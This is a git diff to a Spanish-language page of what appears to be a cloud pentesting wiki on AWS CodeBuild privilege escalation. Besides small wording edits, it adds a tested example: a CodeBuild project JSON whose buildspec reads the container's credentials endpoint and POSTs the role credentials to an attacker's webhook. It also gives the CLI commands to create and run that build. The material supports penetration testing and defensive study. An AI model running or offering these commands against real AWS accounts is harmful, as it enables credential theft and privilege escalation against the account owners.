diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 662842f66..bc3afce37 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project +``` +{{#endtab }} + +{{#tab name="Example3" }} +```bash +# Generated by ex16x41, tested +# Create a hook.json file with command to send output from curl credentials URI to your webhook address + +{ +"name": "user-project-1", +"source": { +"type": "NO_SOURCE", +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", +"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", +"computeType": "BUILD_GENERAL1_SMALL" +}, +"serviceRole": "ARN-OF-TARGET-ROLE" +} + +# Create a new CodeBuild project with the hook.json file +aws codebuild create-project --cli-input-json file:///tmp/hook.json + +# Start a build with the new project +aws codebuild start-build --project-name user-project-1 + +# Get Credentials output to webhook address +Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from + ``` {{#endtab }} {{#endtabs }} @@ -188,7 +222,7 @@ aws codebuild start-build --project-name codebuild-demo-project ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Como en la sección anterior pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**. +Como en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**. {{#tabs }} {{#tab name="StartBuild" }} @@ -268,15 +302,15 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Teniendo **suficientes permisos para iniciar una sesión ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo. +Teniendo **suficientes permisos para iniciar una sesión de ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo. El proyecto de codebuild necesitará tener un punto de interrupción:
phases:
 pre_build:
 commands:
-- echo Entró en la fase pre_build...
-- echo "Hola Mundo" > /tmp/hello-world
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
@@ -289,7 +323,7 @@ Para más información [**consulta la documentación**](https://docs.aws.amazon. ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Un atacante que pueda iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild. +Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild. Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante. ```bash @@ -320,7 +354,7 @@ commands: **Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios. > [!WARNING] -> Tenga en cuenta que se podría esperar que el buildspec esté en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir. +> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir. Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).